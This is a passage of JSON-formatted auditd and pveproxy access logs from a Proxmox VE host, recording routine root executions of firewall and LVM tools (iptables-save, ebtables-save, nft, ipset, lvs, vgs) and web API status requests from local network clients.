success=yes exit=0 a0=64f8d1550ee0 a1=64f8d73dcfb0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66191 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528643,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964605278,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.278:61740): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965754174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.174:66944): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.833:68939): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965065542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.542:63933): arch=c000003e syscall=59 success=no exit=-2 a0=7fffdd2e25a0 a1=5da3c274c310 a2=5da3c2745680 a3=5 items=1 ppid=61385 pid=61386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964380658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781964205568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.568:60032): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad81f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57647 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966214.431:68927): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e08f0 a1=64f8d73e2210 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528643,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964605274,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.274:61739): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965749168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965749.168:66942): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.828:68936): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965061653,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965061.653:63923): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964379661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 459"} {"@timestamp":1781964205562,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.562:60031): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966210.818:68926): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965527528,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964605273,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.273:61738): argc=1 a0=\"date\""} {"@timestamp":1781965749168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965749.168:66941): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.828:68935): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965061653,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965061.653:63922): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964378658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781964205556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.556:60030): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966210.809:68923): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965526205,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964605269,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.269:61736): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965749160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965749.160:66939): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215819,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.819:68932): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965061646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965061.646:63920): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964376643,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781964205552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.552:60029): arch=c000003e syscall=59 success=yes exit=0 a0=6283dfc9ad70 a1=6283dfca6f80 a2=6283dfc74680 a3=5 items=2 ppid=57638 pid=57644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.477:68920): arch=c000003e syscall=59 success=yes exit=0 a0=5b4ece280099 a1=7ffc14453ed0 a2=7ffc14454140 a3=8 items=3 ppid=847 pid=66186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"qm\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965526205,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:25 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964605261,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.261:61735): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965749160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965749.160:66938): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215814,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.814:68931): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965061646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965061.646:63919): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.548:60028): arch=c000003e syscall=59 success=yes exit=0 a0=6283a95c3ac8 a1=7ffc726896c0 a2=6283dfc74680 a3=6283a95a724e items=2 ppid=57638 pid=57640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.473:68919): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18ae0a0 a1=5b65b1a7d100 a2=5b65b1887910 a3=0 items=3 ppid=66170 pid=66185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965526205,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781964605254,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.254:61734): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965746070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.070:66934): arch=c000003e syscall=59 success=no exit=-2 a0=7fff55db7c00 a1=5561ffc65310 a2=5561ffc5e680 a3=5 items=1 ppid=64288 pid=64289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215805,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.805:68930): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965056639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965056.639:63914): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964372637,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 853"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.548:60027): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc72689680 a1=6283dfc96410 a2=6283dfc74680 a3=5 items=2 ppid=57638 pid=57639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.461:68917): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b17f58e0 a1=5b65b1a7d100 a2=5b65b17f0f90 a3=0 items=3 ppid=66170 pid=66183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965526205,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964605250,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.250:61733): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965745968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.968:66916): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc82c1f1c0 a1=6029866f21c0 a2=6029866d0680 a3=5 items=1 ppid=64269 pid=64270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215794,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.794:68929): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965056639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965056.639:63913): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964372637,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781964205543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.543:60025): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.449:68916): arch=c000003e syscall=59 success=yes exit=0 a0=5d4f9f68c3a0 a1=5d4fa0ea6240 a2=5d4f9f68c680 a3=5 items=2 ppid=66172 pid=66182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965526205,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964605243,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.243:61732): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965744148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.148:66906): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214467,"@rawstring":"node=pve type=EXECVE msg=audit(1781966214.467:68928): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965056631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965056.631:63911): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964371619,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781964205537,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.537:60024): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.446:68915): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183d100 a1=5b65b1864a30 a2=5b65b1836c50 a3=0 items=3 ppid=66177 pid=66180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525202,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964605236,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.236:61731): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965744148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.148:66905): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214431,"@rawstring":"node=pve type=EXECVE msg=audit(1781966214.431:68927): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965056629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965056.629:63910): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964368594,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781964205529,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.529:60023): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.438:68912): arch=c000003e syscall=46 success=yes exit=32 a0=3 a1=7ffe3e6b2c40 a2=0 a3=0 items=0 ppid=66172 pid=66176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781965525202,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964605000,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.000:61730): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965744139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.139:66903): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=EXECVE msg=audit(1781966210.818:68926): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965055433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.433:63906): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd1518e5f0 a1=600afedae310 a2=600afeda7680 a3=5 items=1 ppid=61359 pid=61360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964205525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.525:60022): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.442:68913): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18ae0a0 a1=5b65b1a7d100 a2=5b65b1836c50 a3=0 items=3 ppid=66170 pid=66179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523908,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964604991,"@rawstring":"node=pve type=EXECVE msg=audit(1781964604.991:61727): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965744139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965744.139:66902): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=EXECVE msg=audit(1781966210.809:68923): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965055294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965055.294:63888): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd538f12f0 a1=613fe67b61c0 a2=613fe6794680 a3=5 items=1 ppid=61340 pid=61341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964366678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964205518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.518:60021): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ae0 a2=55ecb805f500 